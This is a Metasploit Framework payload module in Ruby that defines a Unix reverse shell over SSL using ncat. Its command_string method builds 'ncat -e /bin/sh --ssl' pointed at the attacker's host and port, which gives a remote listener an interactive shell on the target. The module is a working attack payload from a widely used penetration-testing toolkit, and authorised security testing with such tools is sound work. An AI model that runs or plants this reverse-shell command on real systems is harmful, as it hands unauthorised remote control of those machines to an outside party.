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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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  CachedSize = 42
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  include Msf::Payload::Single
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  include Msf::Sessions::CommandShellOptions
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  def initialize(info = {})
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    super(merge_info(info,
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     'Name'        => 'Unix Command Shell, Reverse TCP (via ncat)',
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     'Description' => 'Creates an interactive shell via ncat, utilizing ssl mode',
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     'Author'      => 'C_Sto',
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     'License'     => MSF_LICENSE,
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     'Platform'    => 'unix',
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     'Arch'        => ARCH_CMD,
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     'Handler'     => Msf::Handler::ReverseTcpSsl,
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     'Session'     => Msf::Sessions::CommandShell,
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     'PayloadType' => 'cmd',
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     'RequiredCmd' => 'ncat',
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     'Payload'     =>
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       {
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         'Offsets' => { },
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         'Payload' => ''
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       }
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    ))
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    register_advanced_options(
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      [
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        OptString.new('NcatPath', [true, 'The path to the NCat executable', 'ncat']),
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        OptString.new('ShellPath', [true, 'The path to the shell to execute', '/bin/sh'])
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      ]
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    )
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  end
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  #
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  # Constructs the payload
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  #
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  def generate(_opts = {})
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    super + command_string
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  end
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  #
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  # Returns the command string to use for execution
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  #
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  def command_string
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    "#{datastore['NcatPath']} -e #{datastore['ShellPath']} --ssl #{datastore['LHOST']} #{datastore['LPORT']}"
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  end
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end
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